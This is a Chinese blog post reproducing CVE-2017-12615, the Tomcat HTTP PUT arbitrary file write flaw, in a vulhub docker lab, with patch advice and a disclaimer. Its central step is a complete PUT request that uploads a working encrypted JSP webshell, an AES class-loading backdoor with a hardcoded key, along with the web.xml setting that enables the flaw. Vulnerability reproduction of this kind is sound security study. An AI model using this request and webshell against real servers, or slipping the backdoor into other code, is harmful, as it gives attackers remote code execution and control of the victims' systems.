zoukankan      html  css  js  c++  java
  • 漏洞复现-CVE-2017-12615-tomcat PUT方法任意文件写入漏洞

     
     
     
     
     
     
     

    0x00 实验环境

    攻击机:Win 10

    靶场:docker拉的vulhub靶场

    0x01 影响版本

    版本:Tomcat 7.x版本内conf/web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。
     

    0x02 漏洞复现

    描述:当Tomcat启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限

    (1)构造payload进行上传:

    PUT /test.jsp/ HTTP/1.1
    Host: ip:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: settingStore=1630480512401_0
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 572

    <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*åÆ¥:Þ¥Æ32Mmd5<„M16MؤޥÆrebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

    (2)漏洞环境需要手动配置web.xml,开启httpput方法,如果存在漏洞直接尝试利用即可:

    
    添加如下配置:
    
    <init-param>
    
                <param-name>readonly</param-name>
    
                <param-value>false</param-value>
    
            </init-param>

     

    0x03 修复建议

    1、根据业务评估配置readonly和VirtualDirContext值为Ture或注释参数,临时规避安全风险;

    2、升级tomcat为最新版本。

    0x04 免责声明

    本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!

  • 相关阅读:
    JavaScript设计模式-21.命令模式
    JavaScript设计模式-20.责任链模式
    JavaScript设计模式-18.享元模式
    JavaScript设计模式-19.代理模式
    JavaScript设计模式-17.装饰者模式(下)
    JavaScript设计模式-16.装饰者模式(上)
    面向对象之集合ArrayList
    面向对象之继承
    字符串的添加与切割~~~
    面向对象中构造函数的小练习
  • 原文地址:https://www.cnblogs.com/cute-puli/p/15319437.html
Copyright © 2011-2022 走看看